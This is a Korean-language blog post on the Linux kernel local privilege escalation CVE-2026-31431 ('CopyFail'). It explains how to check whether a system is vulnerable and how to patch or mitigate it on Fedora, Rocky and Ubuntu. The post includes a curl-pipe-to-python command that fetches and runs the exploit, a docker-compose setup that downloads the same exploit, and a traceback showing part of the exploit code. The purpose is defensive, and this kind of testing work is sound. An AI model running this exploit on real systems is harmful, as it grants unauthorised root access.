Linux Programmer

Linux CopyFail 취약점 패치, CVE-2026-31431 본문

컴퓨터 관련/리눅스(유닉스) 일반

Linux CopyFail 취약점 패치, CVE-2026-31431

sunyzero 2026. 5. 12. 03:55

2026년 4월말 리눅스 커널에 치명적인 보안 버그인 일명 CopyFail CVE-2026-31431이 발표되었다. 이 글에서는 CopyFail의 간단한 소개와 보안 버그에 해당하는지 PoC 테스트하는 방법 및 보안 패치, 완화 처치 방안에 대해 다룬다. 특히 커널 업그레이드나 blacklist 처리 방법에 대해서 자세히 다루도록 한다.

 

1. CopyFail CVE-2026-31431이란?

CopyFail CVE-2026-31431 PoC demo (출처 : copy.fail)

CopyFail은 2017년에 커널에 도입된 기능으로서 최근에서야 발견되었기 때문에 현재 대부분의 리눅스가 영향을 받는다.
이 취약점은 2026년 4월 29일 공개되었고, AI를 사용하여 취약점을 발견하는 보안팀인 Xint Code에 의해 공개되었다.[1]

CopyFail 취약점은 로컬 권한 상승(Local Privilege Escalation) 취약점으로, 커널의 암호화를 위한 algif_aead에서 splice 시스템 콜을 처리할 때 하드웨어 가속을 일반 유저에게도 사용할 수 있게 해주던 기능이다. 일반 유저도 커널의 기능을 쉽게 사용할 수 있도록 만들어졌지만, 역으로 커널 레벨에서 관리자 권한을 훔칠 수 있게 되었다.

현재 AWS나 대부분의 호스팅 업체에서 사용하는 Fedora계열, RH계열(Rocky, Alma, SuSe, 구형 CentOS...), Debian계열(Debian, Ubuntu, Mint ...) 등등 거의 모든 리눅스가 CopyFail 취약점을 가지고 있다. 특히 RH계열(레드햇 계열)은 algif_aead 커널 기능을 module이 아닌 builtin으로 넣어두었기 때문에 더욱 위험하다고 볼 수 있다.

이 취약점은 일단 로컬 유저로 액세스한 뒤에 root 권한을 훔칠 수 있기에 덜 위험하다고 생각될수도 있지만 의존성으로 인해 설치되는 각종 패키지나 혹은 curl | sh 방식으로 프로그램 설치를 유도한 뒤에 시스템에 잠입해서 쉽게 root권한을 훔치는 다양한 공격을 취할 수 있기 때문에 되도록이면 빨리 패치해야만 한다.

 

2. CopyFail PoC 테스트 방법

앞서 이야기 했듯이 2017년에 도입된 기능이므로 현재 사용되는 거의 모든 리눅스가 취약하다고 볼 수 있다. 그럼에도 불구하고 자신의 리눅스 시스템에서 확인하고자 한다면 다음과 같이 확인해볼 수 있다.

 

2.1. PoC 코드 (주의!. 운영 환경에서 사용하지 말 것)

첫번째로 이 취약점을 발견한 Theori의 웹사이트에서는 다음과 같은 명령으로 PoC를 해볼 수 있다. Python 3.10이상에서 사용가능하며, 이 PoC를 실행하면 su 명령이 암호없이 뚫리는 상태가 되므로 운영 환경에서는 실습하지 않도록 주의해야 한다. 개인용 시스템이나 실습용 시스템에서만 사용하기를 권장한다.

다시 말하지만 운영환경에서는 함부로 실행해보면 안된다. 만일 실행했다면 echo 3 > /proc/sys/vm/drop_caches로 페이지 캐시를 비워주면 복구되는 경우도 간혹 있지만, 만일 복구가 안된다면 리부팅을 해야만 오염된 페이지 캐시가 제거된다. 따라서 copyfail PoC는 절대로 운영환경에서 실행하면 안된다.

curl https://copy.fail/exp | python3 && su

CopyFail의 PoC 원리는 AF_ALG 소켓을 열고, setuid(0) 코드를 페이지 캐시에 오염시켜서 su 명령시 root 권한으로 명령을 실행하게 한다. 따라서 PoC가 성공한 뒤에는 어떤 유저든지 su 명령시 권한이 상승되어 root 패스워드가 필요없어진다.

 

2.2. Docker를 이용한 테스트 (안전한 취약점 테스트 방법)

이 방법은 docker를 이용해서 container에서 PoC를 실행시키는 방법으로, 컨테이너가 host의 algif_aead를 사용하지만 오염시키는 su가 container 안에 있는 su 바이너리라는 점이 다르다. 그리고 container를 제거하기 전에 fadvise로 오염된 컨테이너의 /usr/bin/su의 page cache를 제거하기 위해 POSIX_FADV_DONTNEED를 호출하는 구조를 사용한다. 이렇게 하면 container를 통해 1회성으로 취약점 PoC 테스트를 해볼 수 있다.

이 테스트 방법은 먼저 docker가 설치되어있어야 한다. 보통 docker-ce를 설치하므로 여기서도 docker-ce가 설치된 시스템을 기준으로 설명한다. 혹시라도 설치되어있지 않다면 "install docker-ce on <배포판>"으로 검색하면 바로 상단에 나올 것이다. 예를 들어 Rocky 리눅스라면 "install docker-ce on rocky linux"로 검색하면 된다. 아니면 AI에게 질문해도 된다.

 

2.2.1. 준비 과정

먼저 docker 실행 권한을 가진 일반 유저로 2개의 테스트용 파일(Dockerfile, docker-compose.yml)을 만든다. 적당한 디렉토리를 하나 만들고 그 안에 만들면 편리할 것이다. 아래는 파일을 redirect로 생성하는 명령어로서 복사해서 붙여넣으면 파일이 만들어진다. 

cat <<HERE >Dockerfile
FROM python:3.10-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
    curl passwd && rm -rf /var/lib/apt/lists/*
HERE

위의 첫번째 명령어를 복사해서 붙여넣어 실행하면 Dockerfile이 생성되고, 아래 두번째 명령어를 복붙해서 실행하면 docker-compose.yml 파일이 생성될 것이다.

cat <<HERE >docker-compose.yml
services:
  copyfail-test:
    build: .
    container_name: copyfail_test
    privileged: true
    stdin_open: true  # -i option
    tty: true         # -t option
    command: |
      bash -c "
      useradd -m sunyzero -s /bin/bash
      echo 'sunyzero:qwer1234' | chpasswd
      echo 'root:rootqwer1234' | chpasswd
      curl -L https://copy.fail/exp > ~sunyzero/copyfail_poc.py
      chown sunyzero:sunyzero /home/sunyzero/copyfail_poc.py
      echo 'To test exploit(CopyFail,CVE-2026-31431)'
      echo '   Run:    python3 ~/copyfail_poc.py'
      echo '===================[ Ready for your command ]====================='
      su - sunyzero
      # 종료 후 fadvise로 su의 page cache를 비우도록 함.
      python3 -c \"
      import os
      fd = os.open('/usr/bin/su', os.O_RDONLY)
      os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
      os.close(fd)
      \"
      sync
      "
HERE

2개의 파일이 생성된 다음에는 docker compose 명령으로 실행을 해야 할 것이다.

 

2.2.2. PoC를 컨테이너에서 실행

컨테이너는 다음과 같은 docker compose --rm copyfail-test 명령어로 실행하되, --rm 옵션을 추가해서 컨테이너를 종료하는 즉시 삭제되도록 한다. (아래처럼 명령어가 긴 경우 대충 두서너 글자를 치고 tab을 치면 완성해준다)

$ docker compose run --rm copyfail-test
...생략...
To test exploit(CopyFail,CVE-2026-31431),
    Run:    python3 ~/copyfail_poc.py
===================[ Ready for your command ]=====================
sunyzero@e31dfcc7a99d:~$ ls
copyfail_poc.py
sunyzero@e31dfcc7a99d:~$ id
uid=1000(sunyzero) gid=1000(sunyzero) groups=1000(sunyzero)
sunyzero@e31dfcc7a99d:~$ su -
Password:   # 정상적으로 password를 묻는 상태이므로 Ctrl-C로 취소한다.

$ python3 ~/copyfail_poc.py
# id
uid=0(root) gid=1000(sunyzero) groups=1000(sunyzero)

# exit
$ exit

컨테이너 안에서 내린 명령어를 보면 먼저 ls로 copyfail_poc.py 파일이 저장되어있는지 확인을 했다.

그 다음에 id 명령으로 sunyzero 로컬 유저의 UID, GID를 확인했다. 결과를 보면 uid=1000(sunyzero) ... 로 일반 유저로 보이고 있다. 

그리고나서 su - 명령을 내려보면 패스워드를 묻는 "Password: " 프롬프트가 제대로 보이고 있다. 즉 암호 체크가 제대로 작동중인 안전한 상태인 것이다. 아직 PoC를 실행하지 않은 상태에서 정상인지 확인했으니, Ctrl-C로 취소한다.

그 다음에는 PoC 코드인 python3 ~/copyfail_poc.py를 실행하면 root 계정이 탈취되는지 확인할 수 있다. 위의 경우에는 id에 uid=0(root)가 나오는 것으로 보이므로 로컬 권한 상승으로 root 계정이 탈취당했음을 알 수 있다. 안전하게 보안 패치된 시스템에서는 패스워드를 묻는 프롬프트가 나와서 로컬 권한 상승을 막는다. 혹은 완화 처리(mitigation)된 시스템에서는 오류가 발생하도록 되어있다.

취약점이 존재하여 root를 탈취당하는 시스템이라면 아래와 같이 copyfail 보안 패치나 완화 방법을 사용해야 한다. 여기서는 Fedora, Rocky, Ubuntu별로 따로 설명하도록 한다.

 

3. CopyFail 보안 패치 방법

레드햇 계열(Fedora, Rocky, Alma ...)들은 algif_aead가 커널에 builtin되어있고, 데비안 계열(Debian, Ubuntu, Mint...)들은 module로 되어있어서 패치 방법이 조금은 다르다.

레드햇 계열에서는 패치된 커널로 업그레이드하거나 아니면 boot parameter에서 blacklist로 해당 기능을 처리하는 완화 방법(mitigation)이 주로 쓰이고, 데비안 계열은 module이라 간단하게 blacklist 환경 설정 파일만 설정해주면 된다.

우선 커널에 AEAD이 존재하는지는 /boot/config-$(uname -r)파일이나 modinfo로 쉽게 알 수 있다. 아래는 레드햇 계열에서 살펴본 것으로 modinfo에서 filename이 builtin으로 나오는 것을 볼 수 있다.

$ grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
CONFIG_CRYPTO_USER_API_AEAD=y

$ modinfo algif_aead
name:           algif_aead
filename:       (builtin)
description:    AEAD kernel crypto API user space interface
author:         Stephan Mueller <smueller@chronox.de>
license:        GPL
file:           crypto/algif_aead

우분투는 filename에 경로가 나오는 것으로 봐서 kernel module임을 알 수 있다.

$ modinfo algif_aead
filename:       /lib/modules/5.15.0-144-generic/kernel/crypto/algif_aead.ko
description:    AEAD kernel crypto API user space interface
author:         Stephan Mueller <smueller@chronox.de></smueller@chronox.de>
license:        GPL
srcversion:     F89A7DE8CA18E13AB028AA1
...생략...

 

3.1. Fedora 리눅스 (레드햇 계열)

페도라 리눅스에서는 이 글을 수정하는 시점인 5월 20일경에는 완전히 해결이 완료된 상태이다. 이후 다른 취약점이 패치되어있기 때문에 커널을 업데이트 해주는 것을 추천한다.

sudo dnf -y update kernel

커널 업데이트 후에는 reboot를 해야만 한다. 패치가 제대로 되었다면 docker로 PoC 실행시 다음과 같이 root 로 권한이 상승되지 못하고 패스워드를 묻는 프롬프트인 "Password: "가 나타나게 된다. 아래 테스트는 페도라43, 페도라44에서 테스트 되었다.

$ docker compose run --rm copyfail-test 
Container copyfail-poc-docker-copyfail-test-run-3e60658ad202 Creating 
Container copyfail-poc-docker-copyfail-test-run-3e60658ad202 Created 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   4615      0 --:--:-- --:--:-- --:--:--  4626
To test exploit(CopyFail,CVE-2026-31431)
   Run:    python3 ~/copyfail_poc.py
===================[ Ready for your command ]=====================
sunyzero@f1afcd499e5d:~$ python3 ~/copyfail_poc.py
Password:

 

3.2. Rocky 리눅스 (레드햇 계열)

Rocky 리눅스는 이 글을 처음 쓰던 시점에서는 grubby로 부팅 시점에 algif_aead_init 모듈을 blacklist 처리하는 boot parameter를 추가하는 완화 방법으로 처리하도록 안내하고 있었으나, 중간에 5월 9~10일경에 패치된 커널이 올라왔다.[2] 따라서 아래 커널 업그레이드 방법(Plan A)로 처리하는 것을 추천한다.

 

3.2.1. 커널 업그레이드 방법 (Plan A)

Rocky Linux는 5월 8~10일 경에는 대부분의 버전을 패치했으므로 커널 업그레이드 방법으로 쉽게 해결할 수 있다. 이 글을 탈고하는 시점에서는 Rocky Linux 10은 7.0.x 버전으로 올라가서 다른 보안 취약점까지 같이 패치되고, Rocky Linux 9.6은 5.14.0-611.54.1로 업데이트 되었다.

커널 업그레이드 방법은 페도라 리눅스와 같다. 테스트는 로키 리눅스 10.1과 9.6에서 테스트 되었다.

sudo dnf -y update kernel

커널 업데이트가 완료된 후에는 reboot를 해줘야만 한다. 리부팅 뒤에도 앞서 docker로 PoC를 검사하는 부분을 체크해보는 것을 권장한다.

 

3.2.2. grubby로 부트 파라메터 조작 방법 (Plan B)

Plan B 방법은 커널 업그레이드가 용이하지 않을 때 사용하는 방법이다. 하지만 되도록이면 위 플랜A인 커널 업그레이드를 권장한다. 이 기능은 grubby를 사용하므로 root 권한으로 명령한다.

sudo grubby --args initcall_blacklist=algif_aead_init --update-kernel=ALL

플랜B는 algif_aead를 커널 레벨에서 블랙리스트 처리하므로 docker PoC로 실행해보면 아래처럼 에러가 발생한다.

$ docker compose run --rm copyfail-test
Container sunyzero-copyfail-test-run-b5913c93ffa3 Creating
Container sunyzero-copyfail-test-run-b5913c93ffa3 Created
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   2044      0 --:--:-- --:--:-- --:--:--  2041
To test exploit(CopyFail,CVE-2026-31431)
   Run:    python3 ~/copyfail_poc.py
===================[ Ready for your command ]=====================
sunyzero@c18f31aee811:~$  python3 ~/copyfail_poc.py
Traceback (most recent call last):
  File "/home/sunyzero/copyfail_poc.py", line 9, in 
    while i
  File "/home/sunyzero/copyfail_poc.py", line 5, in c
    a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
FileNotFoundError: [Errno 2] No such file or directory
sunyzero@c18f31aee811:~$

 

3.3. Ubuntu 리눅스

우분투 리눅스는 취약점이 있는 algif_aead가 module로 빌드되어있기 때문에 kernel 패키지에 직접 패치 하지 않고  블랙리스트 처리와 비슷하게 /etc/modprobe.d/disable-algif_aead.conf 파일을 만드는 완화 방법을 사용한다.[3] 따라서 해당 conf 파일을 설치하는 패키지를 제공하는데, 패키지 이름은 kmod 로서 다음과 같이 sudo apt install --only-upgrade kmod 명령으로 업데이트하면 된다.

kmod 업그레이드 명령에 --only-upgrade 옵션을 사용하면 의존성에 걸린 다른 패키지들을 줄줄이 업데이트하지 않고 딱 kmod만 업그레이드하도록 되어있다. 회사에서 다른 큰 문제가 없다면 sudo apt upgrade로 싹다 업그레이드해도 되지만, 만약에 다른 프로그램들이 작동 중이라면 안전하게 kmod만 업그레이드하는 것도 괜찮다. 아래는 우분투 22에서 테스트한 결과이다.

$ sudo apt update
...생략...
$ sudo apt install --only-upgrade kmod
...생략...

이 방법의 장점은 재부팅하지 않고도 활성화 시킬 수 있다. (물론 재부팅을 해도 된다) 그리고나서 algif_aead 커널 모듈이 로딩되어있을테니 제거해주면 된다.

$ lsmod | grep aead
algif_aead             16384  0
af_alg                 32768  1 algif_aead

$ sudo rmmod algif_aead

우분투의 kmod가 업그레이드 되면서 설치하는 disable-algif_aead.conf 파일은 copyfail 취약점의 통로인 algif_aead kernel module을 /bin/false로 비활성화 하는 것으로 내용은 다음과 같다.

$ cat  /etc/modprobe.d/disable-algif_aead.conf
# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
# This will likely be re-enabled in a subsequent update once an updated
# kernel has been deployed.
# Blacklisting the module isn't sufficient, we need to do as below:
install algif_aead /bin/false

간혹 blacklist algif_aead 로 설정하라는 글이 있는데, 위 주석에도 적혀있듯이 blacklist보다는 /bin/false로 하는 방법이 더 깔끔하다. 참고로 kmod의 conf 파일을 실수로 지웠다든지 하는 경우에는 재설치할 때 missing conf 파일을 덮어쓰도록 하는 옵션을 사용해서 아래처럼 명령해야 한다.

sudo apt-get -o Dpkg::Options::="--force-confmiss" install --reinstall kmod

 

4. 결론

리눅스의 CopyFail 취약점을 패치하기 위해서는 Fedora, Rocky, Ubuntu가 조금씩 다르기 때문에 그에 맞춰서 업그레이드 혹은 패치해주면 된다. 각 리눅스 배포판에 따라 패치가 나와있는지도 확인해보는 것이 좋다.[4] 다만 패치 후에는 확실하게 보완되었는지를 docker 컨테이너에서 테스트를 통해 검증해보는 것도 필요하다고 생각된다.

 

참조

[1] CopyFail, https://copy.fail

[2] Mitigating CVE-2026-1431 on Rocky Linux 8, 9, 10, and LTS Variants. May 1, 2026. https://kb.ciq.com/article/rocky-linux/rl-cve-2026-31431-mitigation

[3] Fixes available for CVE-2026-31431, Luci Stanescu, 30 April 2026, https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available

[4] Vulnerability Intelligence
CVE-2026-31431, https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-31431

 

반응형
Comments